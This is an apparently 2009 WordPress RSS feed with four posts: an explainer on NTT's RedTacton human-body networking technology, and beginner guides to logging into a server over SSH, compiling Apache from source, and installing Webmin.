<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Network</title>
	<atom:link href="http://futurenetwork.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://futurenetwork.wordpress.com</link>
	<description>Just another WordPress.com weblog</description>
	<lastBuildDate>Sat, 11 Apr 2009 14:32:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='futurenetwork.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://0.gravatar.com/blavatar/ab85854a9cffaca79184cab6ebb590a4?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>Network</title>
		<link>http://futurenetwork.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://futurenetwork.wordpress.com/osd.xml" title="Network" />
	<atom:link rel='hub' href='http://futurenetwork.wordpress.com/?pushpress=hub'/>
		<item>
		<title>RedTacton:  A Human Area Networking Technology</title>
		<link>http://futurenetwork.wordpress.com/2009/04/11/redtacton-a-human-area-networking-technology/</link>
		<comments>http://futurenetwork.wordpress.com/2009/04/11/redtacton-a-human-area-networking-technology/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 14:32:40 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[Networking basics:]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=152</guid>
		<description><![CDATA[ Red tacton: -                        Red Tacton is a new Human Area Networking technology that uses the surface of the human body as a safe, high-speed network transmission path.     RedTacton uses the minute electric field emitted on the surface of the human body. Technically, it is completely distinct from wireless and infrared. A transmission path is [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=152&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><em><span><span> </span></span></em><strong><em><span style="text-decoration:underline;"><span>Red tacton: -</span></span></em></strong></p>
<p><span class="attention"><span><span>                       </span>Red Tacton</span></span><span> is a new Human Area Networking technology that uses the surface of the human body as a safe, high-speed network transmission path. </span></p>
<p><span>   <strong><span>RedTacton</span></strong><strong><span> </span></strong><span>uses the minute electric field emitted on the surface of the human body. Technically, it is completely distinct from wireless and infrared. A transmission path is formed at the moment a part of the human body comes in contact with a </span><span class="attention"><strong><span>Red Tacton</span></strong></span><span> transceiver.</span></span></p>
<p><span></span></p>
<p class="MsoNormal"><span>Physically separating ends the contact and thus ends communication Using </span><span class="attention"><strong><span>Red Tacton</span></strong></span><span>, communication starts when terminals carried by the user or embedded in devices are linked in various combinations according to the user&#8217;s Communication is possible using any body surfaces, such as the hands, fingers, arms, feet, face, legs or torso. <span class="attention">Red Tacton</span> works natural, physical movements.</span></p>
<p class="MsoNormal"> </p>
<p class="MsoNormal"> </p>
<p class="MsoHeading7"><em>Working: -</em><em><span></span></em></p>
<p class="MsoNormal"><span><span>       </span><span>   </span></span><span><span> </span>Using a new super-sensitive photonic electric field sensor, </span><span class="attention"><strong><span>Red Tacton</span></strong></span><span> can achieve duplex communication over the human body at a maximum seed of<span>   </span></span><strong><span>10 mbps.</span></strong></p>
<p class="MsoNormal"><strong><span><img class="alignnone size-medium wp-image-153" title="c1-3" src="http://futurenetwork.files.wordpress.com/2009/04/c1-3.gif?w=300&#038;h=42" alt="c1-3" width="300" height="42" /><img class="alignnone size-medium wp-image-154" title="c1-2" src="http://futurenetwork.files.wordpress.com/2009/04/c1-2.png?w=300&#038;h=225" alt="c1-2" width="300" height="225" /></span></strong></p>
<p class="MsoNormal"><strong><span><span>The </span><span class="attention"><strong><span>Red Tacton</span></strong></span><span> transmitter induces a weak electric field on the surface of the body. The <span class="attention">Red Tacton</span> receiver senses changes in the weak electric field on the surface of the body caused by the transmitter .<span class="attention">Red tacton</span> relies upon the principle that the optical properties of an electro-optic crystal can vary according to the changes of a weak electric field. </span><span class="attention"><strong><span>Red Tacton</span></strong></span><span> detects changes in the optical properties of an electro-optic crystal using a laser and converts the result to an electrical signal in an optical receiver circuit. The transmitter sends data by inducing fluctuations in the minute electric field on the surface of the human body. Data is received using a photonic electric field </span>sensor that combines an electro-optic crystal and a laser light to detect fluctuations in the minute electric field.<br />
</span></strong></p>
<p class="MsoNormal"><span><br />
<span>                           </span>The naturally occurring electric field induced on the surface of the human body dissipates into the earth. Therefore, this electric field is exceptionally faint and unstable. The photonic electric field sensor developed by NTT enables weak electric fields to be measured by detecting changes in the optical properties of an electro-optic crystal with a laser beam.</span></p>
<p class="MsoNormal"> </p>
<p class="MsoNormal"><strong><em><span style="text-decoration:underline;"><span>Human area network</span><span>: -</span></span></em></strong></p>
<p class="MsoNormal"><strong><em><span style="text-decoration:underline;"><span><img class="aligncenter size-full wp-image-155" title="c1-5" src="http://futurenetwork.files.wordpress.com/2009/04/c1-5.gif?w=468&#038;h=310" alt="c1-5" width="468" height="310" /></span></span></em></strong></p>
<p class="MsoNormal"><strong><em><span style="text-decoration:underline;"></span></em></strong></p>
<p><strong><em></em></strong></p>
<p><strong><em><span style="text-decoration:underline;"></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span style="text-decoration:underline;">                  </span><span>  </span><span><span style="font-weight:normal;">    </span></span><span style="font-weight:normal;">In addition to the WANs (Internet) and LANs, there are applications best served by Human Area Networks (HAN’s) that connect the last meter</span></span><span><span style="font-weight:normal;">.</span></span><span style="text-decoration:underline;"><span style="text-decoration:none;"><span style="font-weight:normal;"></span></span></span></p>
<p><span style="text-decoration:underline;"> </span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span style="font-weight:normal;"> </span></span></p>
<p><span style="text-decoration:underline;"> </span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span style="font-weight:normal;"> </span></span></p>
<p><span style="text-decoration:underline;"> </span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span style="font-weight:normal;"> </span></span></p>
<p><span style="text-decoration:underline;"> </span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span style="font-weight:normal;"> </span></span></p>
<p><span style="text-decoration:underline;"> </span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span><span style="font-weight:normal;">                </span></span><span style="font-weight:normal;">Human society is entering an era of ubiquitous computing, where everything is networked. By making Human Area Networks feasible, </span></span><span class="attention"><span><span style="font-weight:normal;">RedTacton</span></span></span><span><span style="font-weight:normal;"> will enable ubiquitous services based on human-centered interactions and therefore more intimate and easier for people to use.</span></span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span style="font-weight:normal;"><span><strong><span style="text-decoration:underline;">Features of red tacton: -</span></strong></span></span></span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span><span style="text-decoration:underline;"><span style="font-style:normal;font-weight:normal;"><img class="aligncenter size-full wp-image-156" title="pic0-1" src="http://futurenetwork.files.wordpress.com/2009/04/pic0-1.jpg?w=468&#038;h=269" alt="pic0-1" width="468" height="269" /></span></span></span></span></p>
<p class="MsoNormal" style="text-decoration:underline;"> </p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span><span></span></span></span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span><span style="font-weight:normal;"><span style="font-style:normal;">1.</span></span><span style="text-decoration:underline;"><span style="font-weight:normal;"><span style="font-style:normal;"> TOUCH: -</span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></span></p>
<p><span style="text-decoration:underline;"><span style="font-weight:normal;"><span style="font-style:normal;"> </span></span></span></p>
<p class="MsoNormal"><span><span><span style="text-decoration:underline;"><span style="font-weight:normal;"><span style="font-style:normal;"> </span></span></span><span style="font-weight:normal;"><span style="font-style:normal;">     </span></span></span></span><span><span style="font-weight:normal;"><span style="font-style:normal;">Communication with just a touch or step </span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><span style="font-style:normal;"> </span></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;"><span style="font-style:normal;">                 </span></span></span><span style="font-weight:normal;"><span style="font-style:normal;">Touching, gripping, sitting, walking, stepping and other human movements can be the triggers for unlocking or locking, starting or stopping equipment, or obtaining data. Using </span></span><span class="attention"><span style="font-weight:normal;"><span style="font-style:normal;">RedTacton</span></span></span><span style="font-weight:normal;"><span style="font-style:normal;">, communication starts when terminals carried by the user or embedded in devices are linked in various combinations through physical contact according to the human&#8217;s natural movements.</span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><span style="font-style:normal;">2</span></span></span><span><span style="font-weight:normal;"><span style="font-style:normal;">.BROADBAND &amp; INTERACTIVE: -</span></span><span><span style="font-weight:normal;"><span style="font-style:normal;">      </span></span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;"><span style="font-style:normal;">                </span></span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;"><span style="font-style:normal;">         </span></span></span></span><span><span style="font-weight:normal;"><span style="font-style:normal;">Duplex, interactive communication is possible at a maximum speed of 10Mbps. Because the transmission path is on the surface of the body, transmission speed does not deteriorate in congested areas where many people are communicating at the same time. Taking advantage of this speed, device drivers can be downloaded instantly and execute programs can be sent</span></span></span><span><span style="font-weight:normal;"><span style="font-style:normal;">.</span></span></span></p>
<p class="MsoNormal"><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><span style="font-style:normal;">3</span></span></span><span><span style="font-weight:normal;"><span style="font-style:normal;">.ANY MEDIA:</span></span></span><span><span style="font-weight:normal;"><span style="font-style:normal;"> -</span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;"><span style="font-style:normal;">                                        </span></span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></p>
<p class="MsoBodyText3"><span style="font-weight:normal;"><span style="font-style:normal;">In addition to the human body, various conductors and dielectrics can be used as transmission media. Conductors and dielectrics may also be used in combination</span></span></p>
<p class="MsoBodyText3"><span><span style="font-weight:normal;"><span style="font-style:normal;">A communication environment can be created easily and at low-cost by using items close at hand, such as desks, walls, and metal objects. But there is one limitation on the length of the conductor to be propagated, on installation locations, and on the thickness of the dielectric to be passed through.</span></span></span></p>
<p class="MsoBodyText3"><span style="font-weight:normal;"><span style="font-style:normal;"><br />
</span></span></p>
<p class="MsoBodyText3"><span><span style="font-weight:normal;"><span style="font-style:normal;"><br />
</span></span></span></p>
<p> </p>
<p><span style="font-weight:normal;"><span style="font-style:normal;"> </span></span></p>
<p class="MsoNormal"><span style="text-decoration:underline;"><span><span style="font-weight:normal;"><span style="font-style:normal;">Conclusion: -</span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;"><span style="font-style:normal;">            </span></span></span></span><span><span style="font-weight:normal;"><span style="font-style:normal;">So we can clearly say that, this technology will spawn revolutionary changes in the modern communications and become a pivot technology. When we compare RedTacton with other technologies, Red tacton will give a better performance over other. Red tacton after it’s coming into market will make a great change &amp; will be adopted by many people.</span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;"><span style="font-style:normal;">                                                           </span></span></span><span style="font-weight:normal;"><span style="font-style:normal;"></span></span></span></p>
<p class="MsoBodyTextIndent2"><span><span><span style="font-weight:normal;"><span style="font-style:normal;">   </span></span></span><span><span style="font-weight:normal;"><span style="font-style:normal;">                                                                                </span></span></span></span><span></span></p>
<p class="MsoNormal" style="text-decoration:underline;"><span lang="X-NONE"><span style="font-style:normal;"><span><span>                             </span></span><span>REFERENCE</span><span>:<span>               </span></span><strong><span>WWW.REDTACTON.COM</span></strong> </span></span></p>
<p style="text-decoration:underline;"> </p>
<p></span></em></strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/152/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/152/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/152/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/152/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/152/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/152/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/152/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/152/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/152/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/152/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/152/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/152/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/152/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/152/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=152&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/04/11/redtacton-a-human-area-networking-technology/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/04/c1-3.gif?w=300" medium="image">
			<media:title type="html">c1-3</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/04/c1-2.png?w=300" medium="image">
			<media:title type="html">c1-2</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/04/c1-5.gif" medium="image">
			<media:title type="html">c1-5</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/04/pic0-1.jpg" medium="image">
			<media:title type="html">pic0-1</media:title>
		</media:content>
	</item>
		<item>
		<title>Moving Beyond SSH: Starting with SSH</title>
		<link>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-starting-with-ssh/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-starting-with-ssh/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 19:38:43 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=142</guid>
		<description><![CDATA[  Welcome to yet another new series: Moving Beyond SSH. During this series we will be taking an Xdev dedicated server from nothing but SSH to a fully functional web server. Although the title of this post is contradictory, before we go beyond SSH, we must first login to SSH. That’s what we’ll be covering today. SSH [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=142&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p> </p>
<p><img class="alignnone size-full wp-image-143" title="goingbeyondssh-1" src="http://futurenetwork.files.wordpress.com/2009/02/goingbeyondssh-1.jpg?w=468&#038;h=199" alt="goingbeyondssh-1" width="468" height="199" /></p>
<p>Welcome to yet another new series: Moving Beyond SSH. During this series we will be taking an <a title="BlueFur Dedicated Servers" href="http://www.bluefur.com/hosting/dedicatedserverscanada.php">Xdev dedicated server</a> from nothing but SSH to a fully functional web server. Although the title of this post is contradictory, before we go beyond SSH, we must first login to SSH. That’s what we’ll be covering today.</p>
<p>SSH (which stands for <strong>S</strong>ecure <strong>Sh</strong>ell) is a protocol for remotely controlling offsite devices over the Internet. Unlike its predecessor (<a title="Wikipedia Article on Telnet" href="http://en.wikipedia.org/wiki/Telnet">Telnet</a>), SSH is secure. SSH can also be used to securely transfer files to a server via the SFTP or SCP protocols.</p>
<p>You will be installing all the software needed for a web server onto your Xdev by issuing commands through SSH. But before we get to that, you will first need to login through SSH into your server. For this you will need your server’s IP address and password (all provided in the email sent to you when you order an Xdev) and SSH software.</p>
<p><strong>Windows</strong></p>
<p>If you’re running Windows (any version), you will need to download <a title="PuTTY" href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html">PuTTY</a> (choose “putty.exe” on that page). There is no installation process, just run the downloaded file. Once you have run the downloaded file, find the box that is labelled <em>Host Name (or IP Address)</em> and enter your server’s IP address in that box. The default port 22 is fine and ensure the radio box beside “SSH” is selected. Click on the “Open” button. (see section after the Mac/Linux instructions for the rest of the directions)</p>
<p><strong>Mac OS X and Linux</strong></p>
<p>If you’re running Mac OS X or any distribution of Linux or Unix, you should already have the required software installed. Open up the “Terminal” application (Mac: Under Applications &gt; Utilities. Linux/Unix: Varies, search the web if you can’t find it). Type in the following into the resulting window (replacing IP_ADDRESS with the IP address of your server):</p>
<p><code>ssh -l root IP_ADDRESS</code></p>
<p>Then press enter/return on your keyboard.</p>
<p><strong>You’re Almost Logged In</strong></p>
<p>After you have followed the above instructions for your Operating System, a window will appear. This will be your SSH window. The window will say something along the lines of “Do you want to accept this server’s certificate?”. Type in “yes” and hit enter/return on your keyboard. In Windows, you will now have to enter your username, which is “root”, type that in, then hit enter. In Windows, Mac and Linux, you will now have to enter your server’s password, then hit the enter/return key (it won’t appear like you’re typing anything, don’t worry, you are).</p>
<p>Congratulations, you have just logged into your server via SSH!</p>
<p><strong>The First Thing</strong></p>
<p>After logging in, the first thing you should do is to change your password. In your SSH window, type in the command:</p>
<p><code>passwd</code></p>
<p>Then, hit enter/return. After that, type in your current password, hit enter/return, type in your new password, hit enter/return and then confirm your new password (and hit enter/return).</p>
<p><strong>IMPORTANT: You should use a very strong password, as if someone were to crack it, they would have full access to your server. It is also important to write down your password in a safe place, because if you forget it, it will be impossible to access your server (for both you and BlueFur staff).</strong></p>
<p><strong>Concluding</strong></p>
<p>To log out of your server, type:</p>
<p><code>logout</code></p>
<p>Then press enter/return.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/142/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/142/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/142/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=142&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-starting-with-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/02/goingbeyondssh-1.jpg" medium="image">
			<media:title type="html">goingbeyondssh-1</media:title>
		</media:content>
	</item>
		<item>
		<title>Moving Beyond SSH: Installing a Web Server</title>
		<link>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-installing-a-web-server/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-installing-a-web-server/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 19:27:03 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=138</guid>
		<description><![CDATA[  This week we’ll actually be moving onto installing some software to run our server. This series will go over setting up a basic LAMP stack, which includes Linux, Apache, MySQL and PHP. Today we’ll be going over installing Apache. We will be compiling this software from source instead of using an automated installer such [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=138&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p> </p>
<p><img class="alignnone size-full wp-image-139" title="goingbeyondssh1" src="http://futurenetwork.files.wordpress.com/2009/02/goingbeyondssh1.jpg?w=468&#038;h=199" alt="goingbeyondssh1" width="468" height="199" /></p>
<p>This week we’ll actually be moving onto installing some software to run our server. This series will go over setting up a basic LAMP stack, which includes Linux, Apache, MySQL and PHP. Today we’ll be going over installing Apache. We will be compiling this software from source instead of using an automated installer such as yum. We’re doing it this way because compiling from source gives you more customizability and it is a great learning experience for managing your server.</p>
<p>Okay, start out be logging into your server and changing your directory to <em>/</em>. Now, we need to start out be downloading Apache to our web server. First head on over to <a href="http://httpd.apache.org/download.cgi">Apache’s download page</a> and copy the URI for the .tar.gz UNIX Source download under the latest version of Apache 2.2. Now, in your SSH client:</p>
<p><code>wget URL_TO_APACHE_DOWNLOAD</code></p>
<p>Replace URL_TO_APACHE_DOWNLOAD with the URL you got on the download page. Now, we need to extract the contents of the archive that gets downloaded:</p>
<p><code>gzip -d httpd-NN.tar.gz<br />
tar xvf httpd-NN.tar</code></p>
<p>Replace NN with the version of the download (eg. 2.2.11). Now, change your working directory to the exatracted directory (again replacing NN with the version of the download):</p>
<p><code>cd httpd-NN</code></p>
<p>Now, we need to configure Apache to install with the modules we want installed. Here’s what I would start out with:</p>
<p><code>./configure --enable-so --enable-rewrite --enable-deflate</code></p>
<p>Which will allow Apache to work with modules (instead of having everything be complied into its core), install mod_rewrite and install mod_deflate. The full list of available configure options are available <a href="http://httpd.apache.org/docs/2.2/programs/configure.html">here</a>. You can append more options to the line above. If you want to be able to enable and disable any of those options in Apache’s configuration file, you can append <em>=shared</em> to the end of the option (with no space before). This command may take a few minutes to execute.</p>
<p>Next, we get the configuration options prepared to be installed:</p>
<p><code>make</code></p>
<p>This may also take a couple of minutes. Now, we can actually install Apache, which we do by running this command:</p>
<p><code>make install</code></p>
<p>Assuming you haven’t encountered any errors, Apache should now be installed. We can start it by running this command:</p>
<p><code>/usr/local/apache2/bin/apachectl -k start</code></p>
<p>You should now be able to head over to the IP address of your server and see your server… serving! Alright, now since we’ll be controlling Apache quite a bit when managing our server, let’s make its command a little shorter.</p>
<p><code>cd /bin<br />
ln -s /usr/local/apache2/bin/apachectl apachectl</code></p>
<p>Which will allow up to control Apache in this shortened form:</p>
<p><code>apachectl -k start</code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/138/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=138&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-installing-a-web-server/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/02/goingbeyondssh1.jpg" medium="image">
			<media:title type="html">goingbeyondssh1</media:title>
		</media:content>
	</item>
		<item>
		<title>Moving Beyond SSH: Webmin</title>
		<link>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-webmin/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-webmin/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 19:20:42 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-webmin/</guid>
		<description><![CDATA[This week we’ll be going over how to install Webmin, a web-interface for system administration. We’ll be using it to configure our DNS, as it is much easier than creating the configuration files manually. Start out by downloading the latest version of the .tar.gz of Webmin, over on the downloads page. Then decompress and unpack the file. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=137&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-136" title="goingbeyondssh" src="http://futurenetwork.files.wordpress.com/2009/02/goingbeyondssh.jpg?w=468&#038;h=199" alt="goingbeyondssh" width="468" height="199" /></p>
<p>This week we’ll be going over how to install <a href="http://www.webmin.com/">Webmin</a>, a web-interface for system administration. We’ll be using it to configure our DNS, as it is much easier than creating the configuration files manually.</p>
<p>Start out by downloading the latest version of the .tar.gz of Webmin, over on the <a href="http://www.webmin.com/download.html">downloads page</a>. Then decompress and unpack the file.</p>
<p><code>wget http://prdownloads.sourceforge.net/webadmin/webmin-1.450.tar.gz<br />
gunzip webmin-1.450.tar.gz<br />
tar xf webmin-1.450.tar</code></p>
<p>Replace <em>1.450</em> with the Webmin version you downloaded. We can now change our working directory to the directory we just extracted:</p>
<p><code>cd webmin-1.450</code></p>
<p>Now, we can run the Webmin setup script. It is a shell script, so it will prompt us for some configuration options in our SSH window.</p>
<p><code>./setup.sh /usr/local/webmin</code></p>
<p>It will ask you a couple of questions, most of which you can just hit “enter” to, to use the default. You’ll need to choose a username and password for accessing the Webmin panel. You can answer “y” when it asks if you want Webmin to load of boot.</p>
<p>Once you have finished installing Webmin, you can access the Webmin panel at <em>http://SERVER_IP:10000/</em> in your browser. Login using the username and password you choose during the Webmin setup.</p>
